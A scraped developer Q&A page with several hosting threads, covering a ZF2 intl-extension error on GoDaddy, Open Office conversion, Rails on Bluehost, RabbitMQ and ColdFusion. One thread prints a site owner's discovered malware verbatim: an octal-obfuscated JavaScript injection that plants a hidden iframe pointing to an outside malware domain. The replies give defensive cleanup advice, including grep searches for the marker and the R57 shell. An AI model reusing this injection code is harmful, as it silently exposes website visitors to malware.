ZF2 Fatal error: Class 'Locale' not found in /home/...../Zend/I18n/Translator/Translator.php on line 228 - zend-framework2

I have a project in my localhost, already running, after modifying the php.ini of my XAMPP server [running on Windows 7] (adding: extension=php-intl.dll).
But when i upload this project to my GoDaddy hosting, it doesn´t works and get the following error:
Fatal error: Class 'Locale' not found in /home/content/41/9674641/html/library/zend.2.0.4/Zend/I18n/Translator/Translator.php on line 228
GoDaddy hosting details:
Php version 5.3
Operating system: Linux
i386-redhat-linux-gnu
Zend Framework details:
Zend Library: 2.0.4
I´ve tried what they say on the following links:
http://support.godaddy.com/help/article/1085/can-i-add-a-php-initialization-file-to-my-hosting-account?locale=en
http://support.godaddy.com/help/article/5647/why-isnt-my-phpini-file-taking-effect?locale=en&ci=46061
Also, i´ve called to 24/7 goDaddy support and they suggested me to create a php5.ini file in the root directory, then, they told me to stop all web services (Cpanel/Stats & Monitors/System Processes/end web), but they didn´t told me what do i need to include in the php5.ini file.
I was reading some links and, as my localhost is a windows one, adding the extension=php-intl.dll to the php.ini file worked. So i´ve tried to include in my godaddy linux server: extension=php-intl.so but doesn´t works (neither extension=php-intl.dll).
The problem with the goDaddy hosting began when i started using ZF2 FORMs.
Updates:
1) I´ve got access to the php5.ini of the goDaddy server (i have made a copy on the root of my hosting) using PUTTY: cp /web/conf/php5.ini /var/chroot/home/content/41/9674641/html
Then i have read it and i could not find the "intl" extension, instead of this, i only could find:
; Windows Extensions
; Note that ODBC support is built in, so no dll is needed for it.
; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
; extension folders as well as the separate PECL DLL download (PHP 5).
; Be sure to appropriately set the extension_dir directive.
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
;extension=php_imap.dll
;extension=php_interbase.dll
;extension=php_ldap.dll
;extension=php_mcrypt.dll
;extension=php_mhash.dll
;extension=php_mime_magic.dll
;extension=php_ming.dll
;extension=php_mssql.dll
;extension=php_msql.dll
;extension=php_mysql.dll
;extension=php_oci8.dll
;extension=php_openssl.dll
;extension=php_oracle.dll
;extension=php_pgsql.dll
;extension=php_shmop.dll
;extension=php_snmp.dll
;extension=php_sockets.dll
;extension=php_sqlite.dll
;extension=php_sybase_ct.dll
;extension=php_tidy.dll
;extension=php_xmlrpc.dll
;extension=php_xsl.dll
2) goDaddy response to my formal support request (ticket):
Thank you for contacting Online Support
I understand you are wanting to get Internationalization extension on
to your hosting account. At this time these are not supported in our
systems at this time. We are going to review this with our developers
to more information. You may receive an email us down the road with
addition information about this.
Please let us know if we can assist you in any other way.
Now i'm thinking that i have two problems:
A) Include the line to enable the extension (i don't know how):
Maybe could be:
extension_dir=/var/chroot/home/content/41/9674641/html/library/extensions/php-intl/usr/lib64/php/modules
extension="intl.so"
B) Include the extension in some location inside my hosting (but i don´t know how):
Maybe i could put the extension files inside: /var/chroot/home/content/41/9674641/html/library/extensions/php-intl
Also, i don't know where to acquire the extension files
C) Is there any known update on ZF2 (skeleton, library ..) that solve this issue ?
Please, i need help as soon as possible.

You can manage PHP modules by using the "Change PHP version" feature of the cPanel interface. Select any version other than "native" and a list of checkboxes will appear.
http://support.godaddy.com/help/article/3937/viewing-or-changing-your-php-language-version?pc_split_value=2
Of course, their support might not immediately mention this solution, which should have been in their knowledge base in the first place.

Related

MVC3 using Open Office to convert Docx to PDF Issue

Newbie to site and MVC/.net web development.
I have searched hi and low and although there are some threads about this issue, I cannot seem to get a solution/direct answer ... hopefully someone here can assist.
I am using VS2010/MVC3/C#/.Net4/IIS7 to develop an internet app. making use of Open Office 3.4.1 to create PDF's from Docx documents.
I used this approach: http://tinyway.wordpress.com/2011/03/30/how-to-convert-office-documents-to-pdf-using-open-office-in-c/
All works fine on my local development machine, however as soon as I publish on the test server ... the bootstrap call (line 10) does not return (simply hangs for lack of better description)
Hopefully someone here can help.
Thanks, Eugene
I guess you have installed Open Office on your development machine. You have to do the same on your web server making sure you're using the same Open Office version.
Your application must reference these assemblies:
cli_basetypes.dll
cli_cppuhelper.dll
cli_oootypes.dll
cli_ure.dll
cli_uretypes.dll
and they all have to be set "Copy Local" to false.
You won't deploy these dlls cause they're going to be loaded from the GAC.
If your IIS is running on a x64 OS you might need to:
"Enable 32-Bit Applications" = True
This article might help you.
If you want to dig deeper.

Found This Hack in my web server php files

How did i get them and what can i do to avoid this in the future?
#8f4d8e#
echo "<script type=\"text/javascript\" language=\"javascript\" >ff=String;fff=\"fromCharCode\";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v=\"eval\";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{}catch(q){asd=1;}if(!asd){w={a:window}.a;vv=v;}}e=w[vv];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0145,0163,0170,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0145,0163,0170,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0141,0142,0163,0157,0154,0165,0164,0145,0147,0151,0146,0164,056,0143,0157,0155,057,0137,0160,0162,0151,0166,0141,0164,0145,057,0143,0154,0153,056,0160,0150,0160,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0145,0163,0170,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0145,0163,0170,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(v)xz(s)}</script>";
#/8f4d8e#
It seems to be redirecting to or injecting content from absolutegift dot com, a malware distributor. Somebody uploaded it to your server. This person (or bot) may have managed to get your password or he may have used an exploit. Change your passwords, make sure all user input (including uploads) is validated. Make sure you have a firewall running (I recommend csf) and scan your server for rootkits.
Contact your hosting provider and notify them of the issue. This is very important I've shutdown plenty of legit websites because they were compromised and the owner lost all their data.
If you are using a CMS such as Drupal, Wordpress, etc. etc. Make sure you upgrade and change admin passwords. If you have any plugins, make sure they are upgraded.
If you have no CMS, change your FTP & control panel passwords.
As for fixing the problem. If you are using a CMS, an in-place upgrade should replace all the files. If not, you can download all your files and use a word-processor like Notepad++ to do a find-and-replace throughout the directory. Also, your hosting provider might be able to restore from backup, or at least have some experience in fixing it.
To prevent it, don't use a CMS and learn some web security. Possibly hire a pentester.
this happened to me as well on an old site running Drupal 5. What I did is download the site and compared it with a clean copy of the codebase using meld (a graphical diff tool for linux).
I found that there was a file called god.php that was placed in one of the subdirectories and contained a php script which called R57. It's really scary what this thing can do.
Many of my files were infected with something like:
<?php
#8f4d8e#
...
#/8f4d8e#
?>
I cleaned this up manually a few times but kept being hacked until I removed the "god.php" file. I assume it might be called differently on your system.
If you have SSH access to the server go to your document root and search for all files containing the string:
grep -R "#8f4d8e#" .
You could also look for your version of the god.php file... look for traces of R57, for example by issuing:
grep -R "R57" .
Mine had a big ASCII art drawing of a bug at the beginning of the file.
I'm not sure how I got it but there were a list of bad things: un-updated very old version of Drupal, PHP4 with register_globals on, shared hosting (and probably a lousy company).
What I did is move the cleaned up site to another hosting company with PHP 5 and changed all passwords: drupal, ftp, mysql etc.

Where do I put the files I want to be displayed on my webpage on my webhost?

So I just finished the railstutorial.org twitter clone example and I want to put it online with my web hosting provider bluehost. Right now all I have is a file called sample_app with all of the rails stuff in it. And it works fine when I visit it on localhost:3000.
So I go to my bluehost file manager and there are 9 different folders, like public_html, public_ftp, rails_apps, www, tmp, access_logs, ect. Ive uploaded sample_app into this overall directory and into the public_html directory itself. But when I visit my website it just displays the html in a default.html file in the public_html directory.
What exactly is telling my hosting service to use public_html/default.html of any of the hundereds of different files and folders that are in other places on my server space? How do I find this thing and tell it to instead use sample_app or public_html/sample_app and then process everything in that to display my rails application?
Ive tried using bluehost support and they emailed me and said this would be accomplished by creating a symlink which links ~/rails_apps/NinetyNine/public to ~/public_html. I have no idea how to do this and the guides I find online all tell me to enter a series of commands. I dont know whether to do this in a terminal on my ubuntu system or some command prompt that bluehost provides. If it is at a terminal on my system which directory should I be in? any attempts I have made on my system have resulted in a no such file or directory error. When I asked bluehost to explain this they said that this was outside of the scope of their support and had to do with web development not hosting. It struck me as odd that they were unwilling to explain their own response to my problem but whatever.
If anyone of you could help me or point me in the right direction I would very much appreciate it. Thank you
What is telling my hosting service to use public_html/default.html ?
That would be a setting the web server configuration, probably Apache.
In Apache's case, the public_html directory is usually enabled with the
UserDir directive.
The default.html, is also an Apache configuration, DirectoryIndex.
Answering these because you asked: but typically, the global Apache configuration
is maintained by your provider (though you usually have some means to customize
parts of it).
Create the symlink from public_html to
They like gave you a command like (maybe not exactly)
$ ln -s ~/rails_apps/NinetyNine/public public_html
That is something that is intended to be run on your webhost, from a command prompt,
at the top of your home directory.
Look for docs on bluehost for finding out how to get SSH shell access.
That's where you'll enter the command.
More generally, however, you want to make sure you read the docs on how your
provider wants you to upload applications. Bluehost seems to have very nice
docs here:
https://my.bluehost.com/cgi/help/rails
Why your hosting provided said it was out of scope.
You're a beginner, and that's officially OK. Welcome!
But if you asked them a question like "Do I enter these commands on my computer
or yours", they are definitely going to politely respond that this out of scope;
meaning -- "We can't hand-hold you through this". If you ran a gas station and
someone asked you how to use the pump, you'd tell them. But if they then asked
"OK but do I put the gas in my car or yours?" you'd be reluctant to answer, because
there's some fundamental missing.
So how do I get more pointers, directions on this stuff?
Lots of approaches. By the far the best is to do as much stuff as you can on
your own computer. In your case, you could easily set up your own Apache
(Macs and Linux frequently ship with it - readily installable on Windows), and
that would clear up a lot of the conceptual issues.
Good luck!

Rabbitmq erlang client build failed due to file paths problems?

I have been able to build rabbitmq server on ubuntu linux. It came already prepackaged and on making, it is able to start as a service. When i got the client source, i failed to make because it appeared like it needed a folder called ./deps/rabbitmq-server. Analysing the code, i find that the author of the client was accessing the same header files as are found in the server, using include_lib("path to rabbit.hrl e.t.c") in his header file called "amqp_client.hrl". I then decided to add rabbitmq_server in the lib dir of erlang so as its paths are automatically added on start up of the vm. But still this didnot help. There is also another folder which the client references called "rabbit_common" for an include folder he assumes would contain all the .hrl files there. Please assist me in building both the client and server on my ubuntu server, for testing.
Also, if anyone has used RabbitMQ server for IMs, please provide some benchmarks and/or your findings on its throughput, speed and number of users. How can it be compared to ejabberd?. How can one create AJAX/Jquery/Javascript clients for Web functionality?
thanks
I hope you had made some progress as far as RabbitMQ and ejabberd are concerned.
Below is a link to an interesting discussion that might be of help.
http://old.nabble.com/AMPQ-vs-XMPP-and-RabbitMQ-vs-ejabberd-td17587109.html

Need help with multiple URL setup on local CF9/Jrun install

I am running the ColdFusion 9 Developer edition on my local Windows XP machine. I've installed it with the embedded web server, which I believe is JRun.
Right now, I can only access web pages at 127.0.0.1:8500/whatever - with all of my apps being placed within separate directories, i.e.: 127.0.0.1:8500/app1, 127.0.0.1:8500/app2, etc.
I want to set it up so that I can access each app at: app1.mylocalserver.com, app2.mylocalserver.com, etc.
I have edited the hosts file so that these domains will be routed to my local machine. But how do I get CF9/Jrun to recognize these urls and handle them correctly? I have been playing with the WEB-INF/jrun-web.xml file but that seems to handle virtual file mappings only.
Thanks in advance for any help!
Gary
I wouldn't suggest using the built in web server. Can't you install Apache or use IIS?
if you changed it so those names are directed to your IP, shouldn't you just be able to go into site management and reference it there?
I use the built in one as well (for CF 9 on XP) and so far i haven't had an issue with it (been using it this way for over a year)
I have no idea to configure multiple URL. In IIS, it's simple to way configure multiple URL with different ports or binding different IP address.

Resources